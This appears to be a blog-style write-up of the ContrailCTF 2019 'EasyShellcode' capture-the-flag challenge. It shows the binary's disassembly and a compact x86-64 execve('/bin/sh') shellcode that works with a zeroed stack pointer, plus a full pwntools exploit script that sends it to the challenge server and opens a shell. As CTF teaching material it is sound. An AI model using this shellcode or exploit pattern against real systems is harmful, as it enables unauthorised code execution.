Select Page
  1. Description
  2. Solution


1. Description

After completing pwnable.kr’s asm challenge, I decided to do more shellcode things. As recommended by 道路さん (@Nperair) from Contrail, I checked out their own CTF, ContrailCTF 2019, and saw this shellcode challenge called EasyShellcode. Let’s check it out:

peilin@PWN:~/ContrailCTF/EasyShellcode$ file problem
problem: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 3.2.0, BuildID[sha1]=add25425cb4bce5d87c64c10487dc62146849971, not stripped
peilin@PWN:~/ContrailCTF/EasyShellcode$ gdb -q problem
Reading symbols from problem…(no debugging symbols found)…done.
gdb-peda$ checksec
CANARY : ENABLED
FORTIFY : disabled
NX : ENABLED
PIE : ENABLED
RELRO : FULL
peilin@PWN:~/ContrailCTF/EasyShellcode$ ./problem
Input your shellcode:

So the challenge seems to be pretty straightforward, input my shellcode to get a shell. Well, good news I don’t have to defeat all those mitigations. 🙂

Let’s take a closer look:

 0x000000000000087a <+96>:  mov rax,QWORD PTR [rbp-0x10]
0x000000000000087e <+100>: mov edx,0x14
0x0000000000000883 <+105>: mov rsi,rax
0x0000000000000886 <+108>: mov edi,0x0
0x000000000000088b <+113>: call 0x6d0 <read@plt>
0x0000000000000890 <+118>: mov rax,QWORD PTR [rbp-0x10]
0x0000000000000894 <+122>: mov edx,0x7
0x0000000000000899 <+127>: mov esi,0x64
0x000000000000089e <+132>: mov rdi,rax
0x00000000000008a1 <+135>: call 0x6f0 <mprotect@plt>
0x00000000000008a6 <+140>: lea rax,[rbp-0x10]
0x00000000000008aa <+144>: xor rdx,rdx
0x00000000000008ad <+147>: xor rdi,rdi
0x00000000000008b0 <+150>: xor rsi,rsi
0x00000000000008b3 <+153>: xor rbx,rbx
0x00000000000008b6 <+156>: xor rcx,rcx
0x00000000000008b9 <+159>: xor r8,r8
0x00000000000008bc <+162>: xor r9,r9
0x00000000000008bf <+165>: xor r10,r10
0x00000000000008c2 <+168>: xor r11,r11
0x00000000000008c5 <+171>: xor r12,r12
0x00000000000008c8 <+174>: xor r13,r13
0x00000000000008cb <+177>: xor r14,r14
0x00000000000008ce <+180>: xor r15,r15
0x00000000000008d1 <+183>: xor rbp,rbp
0x00000000000008d4 <+186>: xor rsp,rsp
0x00000000000008d7 <+189>: jmp QWORD PTR [rax]

OK. So the program read() 0x14 bytes of our shellcode into address QWORD PTR [rbp-0x10], calls mprotect() so that we can actually execute some code on the stack. Finally, it set rax to rbp-0x10 and zeroes out a whole bunch of registers, which seems pretty scary. Here we have a worse scenario than we had in pwnable.kr’s asm challenge, since now rsp is also set to zero, which means we can’t do push, otherwise we will be writing to some funny addresses. pop won’t work either, I think.

After those xors the program jmp to QWORD PTR [rax], which equals to QWORD PTR [rbp-0x10], where our shellcode starts.


2. Solution

So, no stack operations, within 0x14 bytes. Here’s my solution:

mov rdi, [rax]		   ; rdi now points at this line
add rdi, 13		      ; rdi now points at “/bin/sh”, as we will see
lea rax, [rbx + 0x3b]	; setting rax without push and pop
syscall
.ascii “/bin/sh"

This is my full exp. I added print(disasm(shellcode)) to see my shellcode in hex and did the offset calculation:


0: 48 8b 38    mov rdi, QWORD PTR [rax]
3: 48 83 c7 0d add rdi, 0xd
7: 48 8d 43 3b lea rax, [rbx+0x3b]
b: 0f 05       syscall
#!/usr/bin/env python
from pwn import *

context.update(arch="amd64", os="linux", bits=64)
context.terminal = ['tmux', 'splitw', '-h']
context.log_level = "DEBUG"

# elf = context.binary = ELF('./problem')
# p = process(elf.path)
# gdb.attach(proc.pidof(p)[0])

p = remote('114.177.250.4', 2210)

shellcode = asm("""
        mov rdi, [rax]
        add rdi, 13
        lea rax, [rbx + 0x3b]
        syscall
        .ascii "/bin/sh"
""")

p.recvuntil("Input your shellcode: ")

print(disasm(shellcode))

p.send(shellcode)
p.interactive()

Ideally the /bin/sh string should terminate with a NULL byte but we are running out of bytes. My exp worked, though…